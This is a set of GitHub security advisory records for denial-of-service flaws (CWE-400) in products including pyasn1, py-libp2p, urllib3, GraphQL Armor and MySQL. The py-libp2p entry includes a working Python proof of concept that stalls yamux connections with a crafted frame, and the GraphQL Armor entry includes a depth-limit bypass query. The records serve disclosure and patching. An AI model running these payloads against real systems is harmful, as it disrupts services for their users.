CWE-400

{
  "affected": [],
  "aliases": [
    "CVE-2023-47150"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-26T14:15:08Z",
    "severity": "HIGH"
  },
  "details": "IBM Common Cryptographic Architecture (CCA) 7.0.0 through 7.5.36 could allow a remote user to cause a denial of service due to incorrect data handling for certain types of AES operations.  IBM X-Force ID:  270602.",
  "id": "GHSA-hm28-v8c8-qx5x",
  "modified": "2024-03-26T15:30:50Z",
  "published": "2024-03-26T15:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-47150"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/270602"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7145168"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-0175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-06-11T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In XMF_ReadNode of eas_xmf.c, there is possible resource exhaustion due to improper input validation. This could lead to remote denial of service with no additional execution privileges needed. User interaction is needed for exploitation.Product: AndroidVersions: Android-10Android ID: A-126380818",
  "id": "GHSA-hm4f-q44j-x777",
  "modified": "2022-05-24T17:20:14Z",
  "published": "2022-05-24T17:20:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-0175"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2020-06-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.6.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pyasn1"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59886"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T19:11:20Z",
    "nvd_published_at": "2026-07-14T17:17:15Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nThe univ.Real type converted its (mantissa, base, exponent) value to a Python float using exact big-integer exponentiation. A BER/CER/DER-encoded REAL value only a few bytes long can carry a very large exponent, causing this computation to attempt to materialize an astronomically large integer.\n\nAny operation that triggers float conversion on such a decoded value \u2014 prettyPrint(), str(), comparison, arithmetic, or an explicit float() call \u2014 consumes excessive CPU and memory, hanging the process. Applications that decode untrusted ASN.1 data and then print, log, or compare the decoded objects are vulnerable to denial of service. Decoding alone does not trigger the issue.\n\n### Affected components\n- pyasn1.type.univ.Real \u2014 float conversion (__float__() and everything built on it: prettyPrint(), str(), comparisons, arithmetic, int())\n- Reachable through the pyasn1.codec.ber, cer, and der decoders, which produce Real objects from untrusted input; also via directly constructed Real values\n\nThe encoders and the native codec are not affected. Applications that never handle ASN.1 REAL values are not affected.\n\n### Patches\nFixed in pyasn1 0.6.4. Binary (base-2) values are now converted with math.ldexp(), and decimal (base-10) values with exponents beyond float range raise OverflowError without constructing huge intermediate integers. Existing behavior is preserved: out-of-range values raise OverflowError and prettyPrint() renders them as \u003coverflow\u003e.\n\n### Workarounds\nAvoid converting, printing, or comparing decoded Real objects from untrusted sources; inspect the raw (mantissa, base, exponent) tuple instead.",
  "id": "GHSA-hm4w-wwcw-mr6r",
  "modified": "2026-07-21T19:11:20Z",
  "published": "2026-07-21T19:11:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59886"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyasn1/pyasn1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyasn1: Uncontrolled resource consumption when converting decoded REAL values"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-51847"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-06T22:15:09Z",
    "severity": "HIGH"
  },
  "details": "An issue in obgm and Libcoap v.a3ed466 allows a remote attacker to cause a denial of service via thecoap_context_t function in the src/coap_threadsafe.c:297:3 component.",
  "id": "GHSA-hmc2-hhww-hmr3",
  "modified": "2024-07-03T18:44:16Z",
  "published": "2024-06-07T00:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51847"
    },
    {
      "type": "WEB",
      "url": "https://github.com/obgm/libcoap/issues/1302"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@escape.tech/graphql-armor-max-depth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-26T18:42:37Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nA query depth restriction using the `max-depth` property can be bypassed if `ignoreIntrospection` is enabled (which is the default configuration) by naming your query/fragment `__schema`.\n\n### Details\nAt the start of the `countDepth` function, we have the following check for the `ignoreIntrospection` option:\n\n```typescript\n    if (this.config.ignoreIntrospection \u0026\u0026 \u0027name\u0027 in node \u0026\u0026 node.name?.value === \u0027__schema\u0027) {\n        return 0;\n    }\n```\n\nHowever, the `node` can be one of: `FieldNode`, `FragmentDefinitionNode`, `InlineFragmentNode`, `OperationDefinitionNode`, `FragmentSpreadNode`.\n\nFor example, consider sending the following query:\n\n```graphql\nquery hello {\n  books {\n    title\n  }\n}\n```\n\nThis would create an `OperationDefinitionNode` where `node.name.value == \u0027hello\u0027`\n\nThe proper way to handle this is to check explicitly for the `__schema` field, which corresponds to a `FieldNode`.\n\nThe fix is\n\n```typescript\n    if (\n      this.config.ignoreIntrospection \u0026\u0026\n      \u0027name\u0027 in node \u0026\u0026\n      node.name?.value === \u0027__schema\u0027 \u0026\u0026\n      node.kind === Kind.FIELD\n    ) {\n      return 0;\n    }\n```\n\nThis ensures that the node is explicitly a `FieldNode`.\n\n### PoC\n\nMax depth: `6`\n\n```graphql\nquery {\n  books {\n    author {\n      books {\n        author {\n          ...__schema\n        }\n      }\n    }\n  }\n}\nfragment __schema on Author {\n  books {\n    title\n  }\n}\n```\n\n### Impact\n\nThis issue affects applications using the GraphQL Armor Depth Limit plugin with `ignoreIntrospection` enabled.\n\n### Fix\n\nThis is fixed in [PR#823](https://github.com/Escape-Technologies/graphql-armor/pull/823)",
  "id": "GHSA-hmfr-rx46-4jx2",
  "modified": "2025-08-26T18:42:37Z",
  "published": "2025-08-26T18:42:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Escape-Technologies/graphql-armor/security/advisories/GHSA-hmfr-rx46-4jx2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Escape-Technologies/graphql-armor/pull/823"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Escape-Technologies/graphql-armor/commit/1f923bc09f5f053f60b6ba2bd419d4b94cbe1db3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Escape-Technologies/graphql-armor"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GraphQL Armor Max-Depth Plugin Bypass via Introspection Query Obfuscation"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "libp2p"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T22:37:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe yamux stream multiplexer in py-libp2p does not validate incoming DATA frame lengths against the receive window before reading the frame body. Any peer that completes a standard libp2p handshake can send a single 12-byte frame claiming a 4 GB body, causing the victim\u0027s yamux read loop to block indefinitely. This affects the default `new_host()` configuration and requires no special setup on either side.\n\n### Details\nIn `libp2p/stream_muxer/yamux/yamux.py` (lines 915 to 926), the `handle_incoming()` method dispatches on frame type. When a DATA frame arrives, it reads the body unconditionally:\n\n```python\nelif typ == TYPE_DATA:\n    try:\n        data = (\n            await read_exactly(self.secured_conn, length)\n            if length \u003e 0\n            else b\"\"\n        )\n```\n\nThe `length` field is taken directly from the wire-decoded frame header, a 32-bit unsigned integer with a maximum value of 4,294,967,295. There is no check that `length` fits within the stream\u0027s receive window (`DEFAULT_WINDOW_SIZE = 256 * 1024` bytes). The body read also happens before the code checks whether the referenced `stream_id` even exists in `self.streams` (that check is at line 954), so any stream ID triggers the issue.\n\n`handle_incoming()` itself is a single sequential loop with no timeout around the body read. Once `read_exactly` suspends waiting for data that never comes, the loop cannot process any subsequent frames. Every stream on that yamux connection stops working, and no exception is raised.\n\nThe same unguarded call appears in the SYN branch at lines 804 to 806, so a crafted SYN frame with a large length field triggers the same stall.\n\nThe yamux specification (section 3.3) explicitly requires the receiver to reset the stream if a sender transmits more data than the receive window allows. py-libp2p does not enforce this on the receiver side. All three comparable implementations do: go-yamux tracks `recvWindow` per stream and returns a `SendWindowExceeded` error on violation; rust-yamux validates frame length against the stream credit; js-libp2p yamux checks frame length against `maxMessageSize`.\n\n### PoC\nThe harness completes a normal noise handshake and yamux negotiation between two local hosts, confirms yamux is healthy with a pre-attack ping, then writes a single malicious frame directly to the attacker\u0027s secured connection. After a short pause, it attempts to open a new stream with a 3-second deadline. The stream open never completes.\n\nFile: test_poc.py\n\n```python\n\"\"\"\nauthor: @tahaafarooq\nPOC: yamux connection DoS via oversized data frame (connection DoS)\n\"\"\"\nimport os\nimport secrets\nimport gc\nimport struct\n\nimport psutil\nimport trio\nimport multiaddr\n\nfrom libp2p import new_host\nfrom libp2p.crypto.ed25519 import create_new_key_pair\nfrom libp2p.custom_types import TProtocol\nfrom libp2p.peer.peerinfo import PeerInfo\nfrom libp2p.stream_muxer.yamux.yamux import Yamux\n\nLOOPBACK = multiaddr.Multiaddr(\"/ip4/127.0.0.1/tcp/0\")\nPING = TProtocol(\"/audit/ping/1.0.0\")\n\nYAMUX_HEADER_FORMAT = \"!BBHII\"\nTYPE_DATA = 0x0\nHUGE_LENGTH = 0xFFFF_FFFF  # max uint32 \u2014 4,294,967,295 bytes\n\n\ndef craft_malicious_frame(stream_id: int = 1) -\u003e bytes:\n    \"\"\"\n    12-byte yamux DATA frame with flags=0 and length=4 GB.\n    The stream_id is irrelevant: yamux reads the body BEFORE checking\n    whether the stream exists.\n    \"\"\"\n    return struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, 0, stream_id, HUGE_LENGTH)\n\n\ndef _get_yamux(host, peer_id) -\u003e Yamux | None:\n    swarm = host.get_network()\n    conns = swarm.connections.get(peer_id)\n    if conns is None:\n        return None\n    conn = conns[0] if isinstance(conns, list) else conns\n    mc = conn.muxed_conn\n    return mc if isinstance(mc, Yamux) else None\n\n\nasync def attack():\n    proc = psutil.Process(os.getpid())\n    rss0 = proc.memory_info().rss\n\n    v_kp = create_new_key_pair(secrets.token_bytes(32))\n    a_kp = create_new_key_pair(secrets.token_bytes(32))\n\n    # DEFAULT new_host() \u2014 noise + yamux \u2014 no explicit sec_opt or muxer_opt\n    victim = new_host(key_pair=v_kp)\n    attacker = new_host(key_pair=a_kp)\n\n    victim.set_stream_handler(PING, lambda s: s.close())\n\n    async with victim.run(listen_addrs=[LOOPBACK]):\n        vaddr = victim.get_addrs()[0]\n        assert \"127.0.0.1\" in str(vaddr), \"SAFETY: non-loopback\"\n        print(f\"[*] Victim   : {vaddr}\")\n        print(f\"[*] Config   : DEFAULT (noise + yamux)\")\n\n        async with attacker.run(listen_addrs=[LOOPBACK]):\n            await attacker.connect(PeerInfo(victim.get_id(), victim.get_addrs()))\n            await trio.sleep(0.2)\n\n            a_yamux = _get_yamux(attacker, victim.get_id())\n            v_yamux = _get_yamux(victim, attacker.get_id())\n            assert a_yamux and v_yamux, \"yamux muxed_conn not found\"\n            print(\n                f\"[*] Muxer    : attacker={type(a_yamux).__name__}, \"\n                f\"victim={type(v_yamux).__name__}\"\n            )\n\n            # --- Pre-attack: confirm yamux is healthy ---\n            pre_stream = await attacker.new_stream(victim.get_id(), [PING])\n            await pre_stream.close()\n            print(\"[*] Pre-attack ping: OK (yamux live)\")\n\n            # --- Inject malicious frame ---\n            frame = craft_malicious_frame(stream_id=1)\n            print(\n                f\"[*] Injecting {len(frame)}-byte yamux frame: \"\n                f\"type=DATA flags=0x0 stream_id=1 length={HUGE_LENGTH:#010x} \"\n                f\"({HUGE_LENGTH:,} bytes)\"\n            )\n            print(f\"[*] Frame hex: {frame.hex()}\")\n\n            # Write directly to the noise-encrypted secure conn.\n            # secured_conn.write() encrypts before sending; victim decrypts and\n            # sees the raw yamux frame bytes, which handle_incoming processes.\n            await a_yamux.secured_conn.write(frame)\n            await trio.sleep(0.2)\n            # Victim\u0027s handle_incoming has now read the 12-byte header, dispatched\n            # to `elif typ == TYPE_DATA:`, and entered read_exactly(conn, 4GB).\n\n            # --- Post-attack: try to use yamux ---\n            post_attack_succeeded = False\n\n            with trio.move_on_after(3.0):\n                try:\n                    post_stream = await attacker.new_stream(victim.get_id(), [PING])\n                    await post_stream.close()\n                    post_attack_succeeded = True\n                except Exception as e:\n                    print(f\"[*] Post-attack new_stream error: {type(e).__name__}: {e}\")\n\n            gc.collect()\n            rss1 = proc.memory_info().rss\n\n            print(\"\\n=== RESULTS ===\")\n            print(f\"Injected frame (hex) : {frame.hex()}\")\n            print(\n                f\"Body-length field    : {HUGE_LENGTH} bytes requested, 0 bytes sent\"\n            )\n            print(f\"Post-attack ping OK  : {post_attack_succeeded}\")\n            print(f\"RSS delta            : {(rss1 - rss0) / 1024:.1f} KiB\")\n\n            yamux_stuck = not post_attack_succeeded\n            print(f\"\\nVictim yamux loop stuck: {yamux_stuck}\")\n\n            if yamux_stuck:\n                print(\n                    \"[CONFIRMED] handle_incoming blocked - victim yamux dead for \"\n                    \"this connection.\"\n                )\n                print(\n                    \"[IMPACT   ] Single 12-byte write from any authenticated peer \"\n                    \"(post-noise-handshake)\\n\"\n                    \"            permanently stalls yamux for that connection.\\n\"\n                    \"            Affects DEFAULT new_host() config - no mplex required.\\n\"\n                    \"            No timeout, no max-length check, no exception.\"\n                )\n            else:\n                print(\"[NOT CONFIRMED] yamux responded post-attack.\")\n\n            assert yamux_stuck, (\n                \"Expected yamux to be stuck after injecting malicious DATA frame, \"\n                \"but connection remained functional.\"\n            )\n\n\ndef test_yamux_data_frame_stall():\n    trio.run(attack)\n\n\nif __name__ == \"__main__\":\n    trio.run(attack)\n```\n\n```\npython3 -m pytest test_poc.py::test_yamux_data_frame_stall -v\n```\n\nMalicious frame (12 bytes, hex): `00000000000000 01ffffffff`\n\n```\nversion  = 0x00\ntype     = 0x00  (DATA)\nflags    = 0x0000\nstream_id= 0x00000001\nlength   = 0xFFFFFFFF  (4,294,967,295 bytes)\n```\n\nOutput:\n\n```\n[*] Config   : DEFAULT (noise + yamux)\n[*] Pre-attack ping: OK (yamux live)\n[*] Injecting 12-byte yamux frame: type=DATA flags=0x0 stream_id=1 length=0xffffffff\nVictim yamux loop stuck: True\n[CONFIRMED] handle_incoming blocked - victim yamux dead for this connection.\nPASSED in ~3.8s\n```\n\n### Impact\nA single authenticated peer (one that has completed the noise handshake, which requires no credentials) can permanently freeze the yamux read loop for a given connection using 12 bytes of payload. All streams on that connection stop working. No exception is raised, no log entry is written, and no automatic recovery occurs.\n\nThis applies to the default `new_host()` configuration. Unlike a similar issue in the mplex muxer (which requires an explicit opt-in), every py-libp2p node using the standard setup is affected. At the default connection limit of 10,000 connections, an attacker running 10,000 peers can freeze all connections using roughly 120 KB of total traffic.\n\nThere is no confidentiality or integrity impact. The effect is limited to availability on the targeted yamux connection.\n\n### Remediation\n\n**1. Enforce the receive window on inbound DATA frames** (primary fix)\nBefore calling `read_exactly`, reject frames whose declared length exceeds the negotiated receive window:\n\n```python      \n# libp2p/stream_muxer/yamux/yamux.py\n                                                                                                           \nMAX_YAMUX_FRAME = 256 * 1024  # matches DEFAULT_WINDOW_SIZE and go-yamux default\n                                                     \nelif typ == TYPE_DATA:\n    if length \u003e MAX_YAMUX_FRAME:\n        logger.warning(\n            f\"yamux: oversized DATA frame length={length} \u003e {MAX_YAMUX_FRAME}, sending RST\"\n        )\n        rst_header = struct.pack(YAMUX_HEADER_FORMAT, 0, TYPE_DATA, FLAG_RST, stream_id, 0)\n        await self.secured_conn.write(rst_header)\n        continue  # skip body read; loop processes next frame\n    data = await read_exactly(self.secured_conn, length) if length \u003e 0 else b\"\"\n```\n\nThe same check should be applied to the SYN branch at lines 804 to 806.\n\n**2. Add a per-frame timeout in `handle_incoming()`**\n\n```python\nwhile not self.event_shutting_down.is_set():\n    try:\n        with trio.fail_after(60):\n            header = await read_exactly(self.secured_conn, HEADER_SIZE)\n            ...\n    except trio.TooSlowError:\n        logger.warning(\"yamux: frame read timed out, closing connection\")\n        self.event_shutting_down.set()\n        break\n```\n\nOption 1 eliminates the amplification entirely. Option 2 bounds the worst-case stall duration for any future oversized-read path that might be introduced.",
  "id": "GHSA-hmj8-5xmh-5573",
  "modified": "2026-07-24T22:37:17Z",
  "published": "2026-07-24T22:37:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/py-libp2p/security/advisories/GHSA-hmj8-5xmh-5573"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libp2p/py-libp2p/commit/146ea87d1a20cc7dacf684ecf7c204543be04b37"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/libp2p/py-libp2p"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "libp2p: yamux connection DoS via oversized data frame"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-37459"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191",
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-04T18:16:28Z",
    "severity": "HIGH"
  },
  "details": "An integer underflow in FRRouting (FRR) stable/10.0 to stable/10.6 allows attackers to cause a Denial of Service (DoS) via supplying a crafted BGP UPDATE message.",
  "id": "GHSA-hmpg-chwg-jvg8",
  "modified": "2026-06-30T03:36:30Z",
  "published": "2026-05-04T18:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-37459"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FRRouting/frr/commit/693a2e02687cdc9d16501275e05136edea9650d9"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:24347"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:24370"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-37459"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466513"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-37459.json"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.25.7"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "urllib3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.25.2"
            },
            {
              "fixed": "1.25.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7212"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-22T22:04:31Z",
    "nvd_published_at": "2020-03-06T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "The _encode_invalid_chars function in util/url.py in the urllib3 library 1.25.2 through 1.25.7 for Python allows a denial of service (CPU consumption) because of an inefficient algorithm. The percent_encodings array contains all matches of percent encodings. It is not deduplicated. For a URL of length N, the size of percent_encodings may be up to O(N). The next step (normalize existing percent-encoded bytes) also takes up to O(N) for each step, so the total time is O(N^2). If percent_encodings were deduplicated, the time to compute _encode_invalid_chars would be O(kN), where k is at most 484 ((10+6*2)^2).",
  "id": "GHSA-hmv2-79q8-fv6g",
  "modified": "2024-11-18T22:23:05Z",
  "published": "2021-04-30T17:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7212"
    },
    {
      "type": "WEB",
      "url": "https://github.com/urllib3/urllib3/commit/a74c9cfbaed9f811e7563cfc3dce894928e0221a"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-hmv2-79q8-fv6g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2020-149.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/urllib3/urllib3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/urllib3/urllib3/blob/master/CHANGES.rst"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/urllib3/1.25.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Uncontrolled Resource Consumption in urllib3"
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-15383"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-05T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the cryptographic hardware accelerator driver of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause an affected device to reload, resulting in a temporary denial of service (DoS) condition. The vulnerability exists because the affected devices have a limited amount of Direct Memory Access (DMA) memory and the affected software improperly handles resources in low-memory conditions. An attacker could exploit this vulnerability by sending a sustained, high rate of malicious traffic to an affected device to exhaust memory on the device. A successful exploit could allow the attacker to exhaust DMA memory on the affected device, which could cause the device to reload and result in a temporary DoS condition.",
  "id": "GHSA-hmv9-9gm3-c2vc",
  "modified": "2022-05-13T01:17:46Z",
  "published": "2022-05-13T01:17:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15383"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181003-asa-dma-dos"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1041787"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-60177"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T22:17:18Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Server: Clone Plugin).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.10, 9.7.0-9.7.1; MySQL Cluster: 8.0.0-8.0.47, 8.4.0-8.4.10 and  9.7.0-9.7.1. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 4.4 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-hmxm-xx78-7639",
  "modified": "2026-07-22T00:31:21Z",
  "published": "2026-07-22T00:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60177"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujul2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}